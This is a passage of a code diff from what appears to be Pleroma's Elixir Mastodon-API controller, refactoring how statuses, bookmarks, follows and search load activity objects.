	\|> json(%{error: "Can't delete this post"})
	end
	end

	def reblog_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	- with {:ok, announce, _activity} <- CommonAPI.repeat(ap_id_or_id, user) do
	+ with {:ok, announce, _activity} <- CommonAPI.repeat(ap_id_or_id, user),
	+ %Activity{} = announce <- Activity.normalize(announce.data) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: announce, for: user, as: :activity})
	end
	end

	def unreblog_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, _unannounce, %{data: %{"id" => id}}} <- CommonAPI.unrepeat(ap_id_or_id, user),
	- %Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do
	+ %Activity{} = activity <- Activity.get_create_by_object_ap_id_with_object(id) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def fav_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, _fav, %{data: %{"id" => id}}} <- CommonAPI.favorite(ap_id_or_id, user),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def unfav_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, _, _, %{data: %{"id" => id}}} <- CommonAPI.unfavorite(ap_id_or_id, user),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def pin_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, activity} <- CommonAPI.pin(ap_id_or_id, user) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	else
	{:error, reason} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(:bad_request, Jason.encode!(%{"error" => reason}))
	end
	end

	def unpin_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do
	with {:ok, activity} <- CommonAPI.unpin(ap_id_or_id, user) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def bookmark_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	- with %Activity{} = activity <- Activity.get_by_id(id),
	+ with %Activity{} = activity <- Activity.get_by_id_with_object(id),
	+ %Object{} = object <- Object.normalize(activity),
	%User{} = user <- User.get_cached_by_nickname(user.nickname),
	true <- Visibility.visible_for_user?(activity, user),
	- {:ok, user} <- User.bookmark(user, activity.data["object"]["id"]) do
	+ {:ok, user} <- User.bookmark(user, object.data["id"]) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def unbookmark_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	- with %Activity{} = activity <- Activity.get_by_id(id),
	+ with %Activity{} = activity <- Activity.get_by_id_with_object(id),
	+ %Object{} = object <- Object.normalize(activity),
	%User{} = user <- User.get_cached_by_nickname(user.nickname),
	true <- Visibility.visible_for_user?(activity, user),
	- {:ok, user} <- User.unbookmark(user, activity.data["object"]["id"]) do
	+ {:ok, user} <- User.unbookmark(user, object.data["id"]) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def mute_conversation(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	activity = Activity.get_by_id(id)

	with {:ok, activity} <- CommonAPI.add_mute(user, activity) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	else
	{:error, reason} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(:bad_request, Jason.encode!(%{"error" => reason}))
	end
	end

	def unmute_conversation(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	activity = Activity.get_by_id(id)

	with {:ok, activity} <- CommonAPI.remove_mute(user, activity) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def notifications(%{assigns: %{user: user}} = conn, params) do
	notifications = MastodonAPI.get_notifications(user, params)

	conn
	\|> add_link_headers(:notifications, notifications)
	\|> put_view(NotificationView)
	\|> render("index.json", %{notifications: notifications, for: user})
	end

	def get_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do
	with {:ok, notification} <- Notification.get(user, id) do
	conn
	\|> put_view(NotificationView)
	\|> render("show.json", %{notification: notification, for: user})
	else
	{:error, reason} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => reason}))
	end
	end

	def clear_notifications(%{assigns: %{user: user}} = conn, _params) do
	Notification.clear(user)
	json(conn, %{})
	end

	def dismiss_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do
	with {:ok, _notif} <- Notification.dismiss(user, id) do
	json(conn, %{})
	else
	{:error, reason} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => reason}))
	end
	end

	def destroy_multiple(%{assigns: %{user: user}} = conn, %{"ids" => ids} = _params) do
	Notification.destroy_multiple(user, ids)
	json(conn, %{})
	end

	def relationships(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	id = List.wrap(id)
	q = from(u in User, where: u.id in ^id)
	targets = Repo.all(q)

	conn
	\|> put_view(AccountView)
	\|> render("relationships.json", %{user: user, targets: targets})
	end

	# Instead of returning a 400 when no "id" params is present, Mastodon returns an empty array.
	def relationships(%{assigns: %{user: _user}} = conn, _), do: json(conn, [])

	def update_media(%{assigns: %{user: user}} = conn, data) do
	with %Object{} = object <- Repo.get(Object, data["id"]),
	true <- Object.authorize_mutation(object, user),
	true <- is_binary(data["description"]),
	description <- data["description"] do
	new_data = %{object.data \| "name" => description}

	{:ok, _} =
	object
	\|> Object.change(%{data: new_data})
	\|> Repo.update()

	attachment_data = Map.put(new_data, "id", object.id)

	conn
	\|> put_view(StatusView)
	\|> render("attachment.json", %{attachment: attachment_data})
	end
	end

	def upload(%{assigns: %{user: user}} = conn, %{"file" => file} = data) do
	with {:ok, object} <-
	ActivityPub.upload(
	file,
	actor: User.ap_id(user),
	description: Map.get(data, "description")
	) do
	attachment_data = Map.put(object.data, "id", object.id)

	conn
	\|> put_view(StatusView)
	\|> render("attachment.json", %{attachment: attachment_data})
	end
	end

	def favourited_by(conn, %{"id" => id}) do
	- with %Activity{data: %{"object" => %{"likes" => likes}}} <- Activity.get_by_id(id) do
	+ with %Activity{data: %{"object" => object}} <- Repo.get(Activity, id),
	+ %Object{data: %{"likes" => likes}} <- Object.normalize(object) do
	q = from(u in User, where: u.ap_id in ^likes)
	users = Repo.all(q)

	conn
	\|> put_view(AccountView)
	\|> render(AccountView, "accounts.json", %{users: users, as: :user})
	else
	_ -> json(conn, [])
	end
	end

	def reblogged_by(conn, %{"id" => id}) do
	- with %Activity{data: %{"object" => %{"announcements" => announces}}} <- Activity.get_by_id(id) do
	+ with %Activity{data: %{"object" => object}} <- Repo.get(Activity, id),
	+ %Object{data: %{"announcements" => announces}} <- Object.normalize(object) do
	q = from(u in User, where: u.ap_id in ^announces)
	users = Repo.all(q)

	conn
	\|> put_view(AccountView)
	\|> render("accounts.json", %{users: users, as: :user})
	else
	_ -> json(conn, [])
	end
	end

	def hashtag_timeline(%{assigns: %{user: user}} = conn, params) do
	local_only = params["local"] in [true, "True", "true", "1"]

	tags =
	[params["tag"], params["any"]]
	\|> List.flatten()
	\|> Enum.uniq()
	\|> Enum.filter(& &1)
	\|> Enum.map(&String.downcase(&1))

	tag_all =
	params["all"] \|\|
	[]
	\|> Enum.map(&String.downcase(&1))

	tag_reject =
	params["none"] \|\|
	[]
	\|> Enum.map(&String.downcase(&1))

	activities =
	params
	\|> Map.put("type", "Create")
	\|> Map.put("local_only", local_only)
	\|> Map.put("blocking_user", user)
	\|> Map.put("muting_user", user)
	\|> Map.put("tag", tags)
	\|> Map.put("tag_all", tag_all)
	\|> Map.put("tag_reject", tag_reject)
	\|> ActivityPub.fetch_public_activities()
	\|> Enum.reverse()

	conn
	\|> add_link_headers(:hashtag_timeline, activities, params["tag"], %{"local" => local_only})
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def followers(%{assigns: %{user: for_user}} = conn, %{"id" => id} = params) do
	with %User{} = user <- User.get_cached_by_id(id),
	followers <- MastodonAPI.get_followers(user, params) do
	followers =
	cond do
	for_user && user.id == for_user.id -> followers
	user.info.hide_followers -> []
	true -> followers
	end

	conn
	\|> add_link_headers(:followers, followers, user)
	\|> put_view(AccountView)
	\|> render("accounts.json", %{users: followers, as: :user})
	end
	end

	def following(%{assigns: %{user: for_user}} = conn, %{"id" => id} = params) do
	with %User{} = user <- User.get_cached_by_id(id),
	followers <- MastodonAPI.get_friends(user, params) do
	followers =
	cond do
	for_user && user.id == for_user.id -> followers
	user.info.hide_follows -> []
	true -> followers
	end

	conn
	\|> add_link_headers(:following, followers, user)
	\|> put_view(AccountView)
	\|> render("accounts.json", %{users: followers, as: :user})
	end
	end

	def follow_requests(%{assigns: %{user: followed}} = conn, _params) do
	with {:ok, follow_requests} <- User.get_follow_requests(followed) do
	conn
	\|> put_view(AccountView)
	\|> render("accounts.json", %{users: follow_requests, as: :user})
	end
	end

	def authorize_follow_request(%{assigns: %{user: followed}} = conn, %{"id" => id}) do
	with %User{} = follower <- User.get_cached_by_id(id),
	{:ok, follower} <- CommonAPI.accept_follow_request(follower, followed) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: followed, target: follower})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def reject_follow_request(%{assigns: %{user: followed}} = conn, %{"id" => id}) do
	with %User{} = follower <- User.get_cached_by_id(id),
	{:ok, follower} <- CommonAPI.reject_follow_request(follower, followed) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: followed, target: follower})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def follow(%{assigns: %{user: follower}} = conn, %{"id" => id}) do
	with {_, %User{} = followed} <- {:followed, User.get_cached_by_id(id)},
	{_, true} <- {:followed, follower.id != followed.id},
	- false <- User.following?(follower, followed),
	- {:ok, follower, followed, _} <- CommonAPI.follow(follower, followed) do
	+ {:ok, follower} <- MastodonAPI.follow(follower, followed, conn.params) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: follower, target: followed})
	else
	{:followed, _} ->
	{:error, :not_found}

	- true ->
	- followed = User.get_cached_by_id(id)
	-
	- {:ok, follower} =
	- case conn.params["reblogs"] do
	- true -> CommonAPI.show_reblogs(follower, followed)
	- false -> CommonAPI.hide_reblogs(follower, followed)
	- end
	-
	- conn
	- \|> put_view(AccountView)
	- \|> render("relationship.json", %{user: follower, target: followed})
	-
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def follow(%{assigns: %{user: follower}} = conn, %{"uri" => uri}) do
	with {_, %User{} = followed} <- {:followed, User.get_cached_by_nickname(uri)},
	{_, true} <- {:followed, follower.id != followed.id},
	{:ok, follower, followed, _} <- CommonAPI.follow(follower, followed) do
	conn
	\|> put_view(AccountView)
	\|> render("account.json", %{user: followed, for: follower})
	else
	{:followed, _} ->
	{:error, :not_found}

	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def unfollow(%{assigns: %{user: follower}} = conn, %{"id" => id}) do
	with {_, %User{} = followed} <- {:followed, User.get_cached_by_id(id)},
	{_, true} <- {:followed, follower.id != followed.id},
	{:ok, follower} <- CommonAPI.unfollow(follower, followed) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: follower, target: followed})
	else
	{:followed, _} ->
	{:error, :not_found}

	error ->
	error
	end
	end

	def mute(%{assigns: %{user: muter}} = conn, %{"id" => id}) do
	with %User{} = muted <- User.get_cached_by_id(id),
	{:ok, muter} <- User.mute(muter, muted) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: muter, target: muted})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def unmute(%{assigns: %{user: muter}} = conn, %{"id" => id}) do
	with %User{} = muted <- User.get_cached_by_id(id),
	{:ok, muter} <- User.unmute(muter, muted) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: muter, target: muted})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def mutes(%{assigns: %{user: user}} = conn, _) do
	with muted_accounts <- User.muted_users(user) do
	res = AccountView.render("accounts.json", users: muted_accounts, for: user, as: :user)
	json(conn, res)
	end
	end

	def block(%{assigns: %{user: blocker}} = conn, %{"id" => id}) do
	with %User{} = blocked <- User.get_cached_by_id(id),
	{:ok, blocker} <- User.block(blocker, blocked),
	{:ok, _activity} <- ActivityPub.block(blocker, blocked) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: blocker, target: blocked})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def unblock(%{assigns: %{user: blocker}} = conn, %{"id" => id}) do
	with %User{} = blocked <- User.get_cached_by_id(id),
	{:ok, blocker} <- User.unblock(blocker, blocked),
	{:ok, _activity} <- ActivityPub.unblock(blocker, blocked) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: blocker, target: blocked})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def blocks(%{assigns: %{user: user}} = conn, _) do
	with blocked_accounts <- User.blocked_users(user) do
	res = AccountView.render("accounts.json", users: blocked_accounts, for: user, as: :user)
	json(conn, res)
	end
	end

	def domain_blocks(%{assigns: %{user: %{info: info}}} = conn, _) do
	json(conn, info.domain_blocks \|\| [])
	end

	def block_domain(%{assigns: %{user: blocker}} = conn, %{"domain" => domain}) do
	User.block_domain(blocker, domain)
	json(conn, %{})
	end

	def unblock_domain(%{assigns: %{user: blocker}} = conn, %{"domain" => domain}) do
	User.unblock_domain(blocker, domain)
	json(conn, %{})
	end

	def subscribe(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %User{} = subscription_target <- User.get_cached_by_id(id),
	{:ok, subscription_target} = User.subscribe(user, subscription_target) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: user, target: subscription_target})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def unsubscribe(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %User{} = subscription_target <- User.get_cached_by_id(id),
	{:ok, subscription_target} = User.unsubscribe(user, subscription_target) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: user, target: subscription_target})
	else
	{:error, message} ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(403, Jason.encode!(%{"error" => message}))
	end
	end

	def status_search(user, query) do
	fetched =
	if Regex.match?(~r/https?:/, query) do
	- with {:ok, object} <- ActivityPub.fetch_object_from_id(query),
	+ with {:ok, object} <- Fetcher.fetch_object_from_id(query),
	%Activity{} = activity <- Activity.get_create_by_object_ap_id(object.data["id"]),
	true <- Visibility.visible_for_user?(activity, user) do
	[activity]
	else
	_e -> []
	end
	end \|\| []

	q =
	from(
	- a in Activity,
	+ [a, o] in Activity.with_preloaded_object(Activity),
	where: fragment("?->>'type' = 'Create'", a.data),
	where: "https://www.w3.org/ns/activitystreams#Public" in a.recipients,
	where:
	fragment(
	- "to_tsvector('english', ?->'object'->>'content') @@ plainto_tsquery('english', ?)",
	- a.data,
	+ "to_tsvector('english', ?->>'content') @@ plainto_tsquery('english', ?)",
	+ o.data,
	^query
	),
	limit: 20,
	order_by: [desc: :id]
	)

	Repo.all(q) ++ fetched
	end

	def search2(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
	accounts = User.search(query, resolve: params["resolve"] == "true", for_user: user)

	statuses = status_search(user, query)

	tags_path = Web.base_url() <> "/tag/"

	tags =
	query
	\|> String.split()
	\|> Enum.uniq()
	\|> Enum.filter(fn tag -> String.starts_with?(tag, "#") end)
	\|> Enum.map(fn tag -> String.slice(tag, 1..-1) end)
	\|> Enum.map(fn tag -> %{name: tag, url: tags_path <> tag} end)

	res = %{
	"accounts" => AccountView.render("accounts.json", users: accounts, for: user, as: :user),
	"statuses" =>
	StatusView.render("index.json", activities: statuses, for: user, as: :activity),
	"hashtags" => tags
	}

	json(conn, res)
	end

	def search(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
	accounts = User.search(query, resolve: params["resolve"] == "true", for_user: user)

	statuses = status_search(user, query)

	tags =
	query
	\|> String.split()
	\|> Enum.uniq()
	\|> Enum.filter(fn tag -> String.starts_with?(tag, "#") end)
	\|> Enum.map(fn tag -> String.slice(tag, 1..-1) end)

	res = %{
	"accounts" => AccountView.render("accounts.json", users: accounts, for: user, as: :user),
	"statuses" =>
	StatusView.render("index.json", activities: statuses, for: user, as: :activity),
	"hashtags" => tags
	}

	json(conn, res)
	end

	def account_search(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do
	accounts = User.search(query, resolve: params["resolve"] == "true", for_user: user)

	res = AccountView.render("accounts.json", users: accounts, for: user, as: :user)

	json(conn, res)
	end

	def favourites(%{assigns: %{user: user}} = conn, params) do
	params =
	params
	\|> Map.put("type", "Create")
	\|> Map.put("favorited_by", user.ap_id)
	\|> Map.put("blocking_user", user)

	activities =
	ActivityPub.fetch_activities([], params)
	\|> Enum.reverse()

	conn
	\|> add_link_headers(:favourites, activities)
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def bookmarks(%{assigns: %{user: user}} = conn, _) do
	user = User.get_cached_by_id(user.id)

	activities =
	user.bookmarks
	\|> Enum.map(fn id -> Activity.get_create_by_object_ap_id(id) end)
	\|> Enum.reverse()

	conn
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def get_lists(%{assigns: %{user: user}} = conn, opts) do
	lists = Pleroma.List.for_user(user, opts)
	res = ListView.render("lists.json", lists: lists)
	json(conn, res)
	end

	def get_list(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user) do
	res = ListView.render("list.json", list: list)
	json(conn, res)
	else
	_e ->
	conn
	\|> put_status(404)
	\|> json(%{error: "Record not found"})
	end
	end

	def account_lists(%{assigns: %{user: user}} = conn, %{"id" => account_id}) do
	lists = Pleroma.List.get_lists_account_belongs(user, account_id)
	res = ListView.render("lists.json", lists: lists)
	json(conn, res)
	end

	def delete_list(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
	{:ok, _list} <- Pleroma.List.delete(list) do
	json(conn, %{})
	else
	_e ->
	json(conn, "error")
	end
	end

	def create_list(%{assigns: %{user: user}} = conn, %{"title" => title}) do
	with {:ok, %Pleroma.List{} = list} <- Pleroma.List.create(title, user) do
	res = ListView.render("list.json", list: list)
	json(conn, res)
	end
	end

	def add_to_list(%{assigns: %{user: user}} = conn, %{"id" => id, "account_ids" => accounts}) do
	accounts
	\|> Enum.each(fn account_id ->
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
	%User{} = followed <- User.get_cached_by_id(account_id) do
	Pleroma.List.follow(list, followed)
	end
	end)

	json(conn, %{})
	end

	def remove_from_list(%{assigns: %{user: user}} = conn, %{"id" => id, "account_ids" => accounts}) do
	accounts
	\|> Enum.each(fn account_id ->
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
	%User{} = followed <- Pleroma.User.get_cached_by_id(account_id) do
	Pleroma.List.unfollow(list, followed)
	end
	end)

	json(conn, %{})
	end

	def list_accounts(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
	{:ok, users} = Pleroma.List.get_following(list) do
	conn
	\|> put_view(AccountView)
	\|> render("accounts.json", %{users: users, as: :user})
	end
	end

	def rename_list(%{assigns: %{user: user}} = conn, %{"id" => id, "title" => title}) do
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
	{:ok, list} <- Pleroma.List.rename(list, title) do
	res = ListView.render("list.json", list: list)
	json(conn, res)
	else
	_e ->
	json(conn, "error")
	end
	end

	def list_timeline(%{assigns: %{user: user}} = conn, %{"list_id" => id} = params) do
	with %Pleroma.List{title: _title, following: following} <- Pleroma.List.get(id, user) do
	params =
	params
	\|> Map.put("type", "Create")
	\|> Map.put("blocking_user", user)
	\|> Map.put("muting_user", user)

	# we must filter the following list for the user to avoid leaking statuses the user
	# does not actually have permission to see (for more info, peruse security issue #270).
	activities =
	following
	\|> Enum.filter(fn x -> x in user.following end)
	\|> ActivityPub.fetch_activities_bounded(following, params)
	\|> Enum.reverse()

	conn
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	else
	_e ->
	conn
	\|> put_status(403)
	\|> json(%{error: "Error."})
	end
	end

	def index(%{assigns: %{user: user}} = conn, _params) do
	token = get_session(conn, :oauth_token)

	if user && token do
	mastodon_emoji = mastodonized_emoji()

	limit = Config.get([:instance, :limit])

	accounts =
	Map.put(%{}, user.id, AccountView.render("account.json", %{user: user, for: user}))

	flavour = get_user_flavour(user)

	initial_state =
	%{
	meta: %{
	streaming_api_base_url:
	String.replace(Pleroma.Web.Endpoint.static_url(), "http", "ws"),
	access_token: token,
	locale: "en",
	domain: Pleroma.Web.Endpoint.host(),
	admin: "1",
	me: "#{user.id}",
	unfollow_modal: false,
	boost_modal: false,
	delete_modal: true,
	auto_play_gif: false,
	display_sensitive_media: false,
	reduce_motion: false,
	max_toot_chars: limit,
	mascot: "/images/pleroma-fox-tan-smol.png"
	},
	rights: %{
	delete_others_notice: present?(user.info.is_moderator),
	admin: present?(user.info.is_admin)
	},
	compose: %{
	me: "#{user.id}",
	default_privacy: user.info.default_scope,
	default_sensitive: false,
	allow_content_types: Config.get([:instance, :allowed_post_formats])
	},
	media_attachments: %{
	accept_content_types: [
	".jpg",
	".jpeg",
	".png",
	".gif",
	".webm",
	".mp4",
	".m4v",
	"image\/jpeg",
	"image\/png",
	"image\/gif",
	"video\/webm",
	"video\/mp4"
	]
	},
	settings:
	user.info.settings \|\|
	%{
	onboarded: true,
	home: %{
	shows: %{
	reblog: true,
	reply: true
	}
	},
	notifications: %{
	alerts: %{
	follow: true,
	favourite: true,
	reblog: true,
	mention: true
	},
	shows: %{
	follow: true,
	favourite: true,
	reblog: true,
	mention: true
	},
	sounds: %{
	follow: true,
	favourite: true,
	reblog: true,
	mention: true
	}
	}
	},
	push_subscription: nil,
	accounts: accounts,
	custom_emojis: mastodon_emoji,
	char_limit: limit
	}
	\|> Jason.encode!()

	conn
	\|> put_layout(false)
	\|> put_view(MastodonView)
	\|> render("index.html", %{initial_state: initial_state, flavour: flavour})
	else
	conn
	\|> put_session(:return_to, conn.request_path)
	\|> redirect(to: "/web/login")
	end
	end

	def put_settings(%{assigns: %{user: user}} = conn, %{"data" => settings} = _params) do
	info_cng = User.Info.mastodon_settings_update(user.info, settings)

	with changeset <- Ecto.Changeset.change(user),
	changeset <- Ecto.Changeset.put_embed(changeset, :info, info_cng),
	{:ok, _user} <- User.update_and_set_cache(changeset) do
	json(conn, %{})
	else
	e ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(500, Jason.encode!(%{"error" => inspect(e)}))
	end
	end

	@supported_flavours ["glitch", "vanilla"]

	def set_flavour(%{assigns: %{user: user}} = conn, %{"flavour" => flavour} = _params)
	when flavour in @supported_flavours do
	flavour_cng = User.Info.mastodon_flavour_update(user.info, flavour)

	with changeset <- Ecto.Changeset.change(user),
	changeset <- Ecto.Changeset.put_embed(changeset, :info, flavour_cng),
	{:ok, user} <- User.update_and_set_cache(changeset),
	flavour <- user.info.flavour do
	json(conn, flavour)
	else
	e ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(500, Jason.encode!(%{"error" => inspect(e)}))
	end
	end

	def set_flavour(conn, _params) do
	conn
	\|> put_status(400)
	\|> json(%{error: "Unsupported flavour"})
	end

	def get_flavour(%{assigns: %{user: user}} = conn, _params) do
	json(conn, get_user_flavour(user))
	end

	defp get_user_flavour(%User{info: %{flavour: flavour}}) when flavour in @supported_flavours do
	flavour
	end

	defp get_user_flavour(_) do
	"glitch"
	end

	def login(%{assigns: %{user: %User{}}} = conn, _params) do
	redirect(conn, to: local_mastodon_root_path(conn))
	end

	@doc "Local Mastodon FE login init action"
	def login(conn, %{"code" => auth_token}) do
	with {:ok, app} <- get_or_make_app(),
	%Authorization{} = auth <- Repo.get_by(Authorization, token: auth_token, app_id: app.id),
	{:ok, token} <- Token.exchange_token(app, auth) do
	conn
	\|> put_session(:oauth_token, token.token)
	\|> redirect(to: local_mastodon_root_path(conn))
	end
	end

	@doc "Local Mastodon FE callback action"
	def login(conn, _) do
	with {:ok, app} <- get_or_make_app() do
	path =
	o_auth_path(
	conn,
	:authorize,
	response_type: "code",
	client_id: app.client_id,
	redirect_uri: ".",
	scope: Enum.join(app.scopes, " ")
	)

	redirect(conn, to: path)
	end
	end

	defp local_mastodon_root_path(conn) do
	case get_session(conn, :return_to) do
	nil ->
	mastodon_api_path(conn, :index, ["getting-started"])

	return_to ->
	delete_session(conn, :return_to)
	return_to
	end
	end

	defp get_or_make_app do
	find_attrs = %{client_name: @local_mastodon_name, redirect_uris: "."}
	scopes = ["read", "write", "follow", "push"]

	with %App{} = app <- Repo.get_by(App, find_attrs) do
	{:ok, app} =
	if app.scopes == scopes do
	{:ok, app}
	else
	app
	\|> Ecto.Changeset.change(%{scopes: scopes})
	\|> Repo.update()
	end

	{:ok, app}
	else
	_e ->
	cs =
	App.register_changeset(
	%App{},
	Map.put(find_attrs, :scopes, scopes)
	)

	Repo.insert(cs)
	end
	end

	def logout(conn, _) do
	conn
	\|> clear_session
	\|> redirect(to: "/")
	end

	def relationship_noop(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	Logger.debug("Unimplemented, returning unmodified relationship")

	with %User{} = target <- User.get_cached_by_id(id) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: user, target: target})
	end
	end

	def empty_array(conn, _) do
	Logger.debug("Unimplemented, returning an empty array")
	json(conn, [])
	end

	def empty_object(conn, _) do
	Logger.debug("Unimplemented, returning an empty object")
	json(conn, %{})
	end

	def get_filters(%{assigns: %{user: user}} = conn, _) do
	filters = Filter.get_filters(user)
	res = FilterView.render("filters.json", filters: filters)
	json(conn, res)
	end

	def create_filter(
	%{assigns: %{user: user}} = conn,
	%{"phrase" => phrase, "context" => context} = params
	) do
	query = %Filter{
	user_id: user.id,
	phrase: phrase,
	context: context,
	hide: Map.get(params, "irreversible", nil),
	whole_word: Map.get(params, "boolean", true)
	# expires_at
	}

	{:ok, response} = Filter.create(query)
	res = FilterView.render("filter.json", filter: response)
	json(conn, res)
	end

	def get_filter(%{assigns: %{user: user}} = conn, %{"id" => filter_id}) do
	filter = Filter.get(filter_id, user)
	res = FilterView.render("filter.json", filter: filter)
	json(conn, res)
	end

	def update_filter(
	%{assigns: %{user: user}} = conn,
	%{"phrase" => phrase, "context" => context, "id" => filter_id} = params
	) do
	query = %Filter{
	user_id: user.id,
	filter_id: filter_id,
	phrase: phrase,
	context: context,
	hide: Map.get(params, "irreversible", nil),
	whole_word: Map.get(params, "boolean", true)
	# expires_at
	}

	{:ok, response} = Filter.update(query)
	res = FilterView.render("filter.json", filter: response)
	json(conn, res)
	end

	def delete_filter(%{assigns: %{user: user}} = conn, %{"id" => filter_id}) do
	query = %Filter{
	user_id: user.id,
	filter_id: filter_id
	}

	{:ok, _} = Filter.delete(query)
	json(conn, %{})
	end

	# fallback action
	#
	def errors(conn, {:error, %Changeset{} = changeset}) do
	error_message =
	changeset
	\|> Changeset.traverse_errors(fn {message, _opt} -> message end)
	\|> Enum.map_join(", ", fn {_k, v} -> v end)

	conn
	\|> put_status(422)
	\|> json(%{error: error_message})
	end

	def errors(conn, {:error, :not_found}) do
	conn
	\|> put_status(404)
	\|> json(%{error: "Record not found"})
	end

	def errors(conn, _) do
	conn
	\|> put_status(500)
	\|> json("Something went wrong")
	end

	def suggestions(%{assigns: %{user: user}} = conn, _) do
	suggestions = Config.get(:suggestions)

	if Keyword.get(suggestions, :enabled, false) do
	api = Keyword.get(suggestions, :third_party_engine, "")
	timeout = Keyword.get(suggestions, :timeout, 5000)
	limit = Keyword.get(suggestions, :limit, 23)

	host = Config.get([Pleroma.Web.Endpoint, :url, :host])

	user = user.nickname

	url =
	api
	\|> String.replace("{{host}}", host)
	\|> String.replace("{{user}}", user)

	with {:ok, %{status: 200, body: body}} <-
	@httpoison.get(
	url,
	[],
	adapter: [
	recv_timeout: timeout,
	pool: :default
	]
	),
	{:ok, data} <- Jason.decode(body) do
	data =
	data
	\|> Enum.slice(0, limit)
	\|> Enum.map(fn x ->
	Map.put(
	x,
	"id",
	case User.get_or_fetch(x["acct"]) do
	%{id: id} -> id
	_ -> 0
	end
	)
	end)
